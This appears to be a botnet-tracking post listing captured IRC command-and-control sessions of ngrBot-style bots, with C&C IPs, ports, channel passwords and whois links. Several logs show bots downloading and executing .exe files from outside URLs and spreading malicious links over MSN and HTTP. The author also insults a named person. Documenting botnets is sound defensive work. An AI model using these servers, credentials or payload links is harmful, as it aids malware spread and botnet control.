Author: Pig

Remote Host Port Number 199.15.234.7 80 67.23.236.10 6667 PASS .. NICK n{US|XPa}zvwjerm USER zvwjerm 0 0 :zvwjerm JOIN #ngr ngrBot hosting infos: http://whois.domaintools.com/67.23.236.10

Remote Host Port Number 199.15.234.7 80 72.167.131.225 6667 PASS secret.. NICK n{US|XPa}qdwdanj USER qdwdanj 0 0 :qdwdanj possible chanel #chan hosting infos: http://whois.domaintools.com/72.167.131.225

Remote Host Port Number 199.15.234.7 80 70.85.2.50 80 92.241.165.225 7475 PASS ngrBot NICK n{US|XPa}cgfwoyy USER cgfwoyy 0 0 :cgfwoyy JOIN ##cybercenter## ngrBot JOIN #US PRIVMSG ##cybercenter## :[DNS]: Blocked 0 domain(s) – Redirected 17 domain(s) hosting infos: http://whois.domaintools.com/92.241.165.225

There is a mistake in hosting adress Serbia must be Kosova because this botnet is hosted in Kosova indipendent Nation Here is the scaner used by Lindi a litle idiot from peja: #!/usr/bin/perl $powered="BaMbY"; $mail="admin(at)bamby.web.id"; ##################################################################################### ## ## ## 17/06/2010 ## ## Author : BaMbY, Voo_Doo ## ## Team : Irc.Byroe.Net ## ## ## ##Read more...

Remote Host Port Number 173.45.102.45 5794 PASS ngrBot 199.15.234.7 80 83.169.31.7 80 NICK n{US|XPa}uknudkt USER uknudkt 0 0 :uknudkt JOIN #butowski ngrBot JOIN #US PRIVMSG #butowski :[DNS]: Blocked 0 domain(s) – Redirected 27 domain(s) hosting infos: http://whois.domaintools.com/173.45.102.45

Remote Host Port Number 141.105.66.223 80 199.15.234.7 80 74.86.158.236 80 46.166.137.234 8282 PASS passwd PRIVMSG #dork :[HTTP]: Updated HTTP spread interval to “3” PRIVMSG #dork :[HTTP]: Updated HTTP spread message to “http://facebook-image.info/pic5436457564.jpg” PRIVMSG #dork :[d=”http://quadgroup.in/lol/dl.exe” s=”151552 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data2.exe” – Download retries: 0 PRIVMSG #dork :[d=”http://quadgroup.in/ngg.exe” s=”249856 bytes”] Executed file “C:DocumentsRead more...

Remote Host Port Number 199.15.234.7 80 46.105.241.231 80 50.16.220.121 80 46.105.241.231 6999 PASS PRIVMSG #chan :[d=”http://dl.dropbox.com/s/1ckvkvltoyy73e1/link.exe” s=”56471 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.exe” – Download retries: 0 NICK n{US|XPa}pdrybps USER pdrybps 0 0 :pdrybps JOIN #chan ngrBot * The data identified by the following URLs was then requested from the remote web server: oRead more...

Remote Host Port Number 61.19.252.250 2345 NICK New[USA|00|P|46702] PRIVMSG #!loco! :[M]: Thread Disabled. PRIVMSG #!loco! :[M]: Thread Activated: Sending Message With Email. USER XP-1537 * 0 :COMPUTERNAME MODE New[USA|00|P|46702] -ix JOIN #!loco! PONG 22 MOTD hosting infos: http://whois.domaintools.com/61.19.252.250

Remote Host Port Number 199.15.234.7 80 46.105.241.151 6667 PASS .. PRIVMSG #|ngr :[MSN]: Updated MSN spread interval to “6” PRIVMSG #|ngr :[MSN]: Updated MSN spread message to “wowww!! hahahaha http://ge.tt/8maSWT7/Major.exe” PRIVMSG #|ngr :[DNS]: Blocked “freewebtown.com” NICK n{US|XPa}zbegksp USER zbegksp 0 0 :zbegksp PONG :9E9B538B JOIN #|ngr ngrBot PRIVMSG #|ngr :[HTTP]: Updated HTTP spread interval toRead more...

Remote Host Port Number 67.220.73.178 6667 NICK s_|637271 USER utwalul 0 0 :s_|637271 JOIN #botnet odjebi USERHOST s_|637271 MODE s_|637271 -x+B NOTICE NeoStats : VERSION mIRC v6.03 Khaled Mardam-Bey PONG :hub.bihchat.org PONG :9D02DE22 NOTICE IRC : hosting infos: http://whois.domaintools.com/67.220.73.178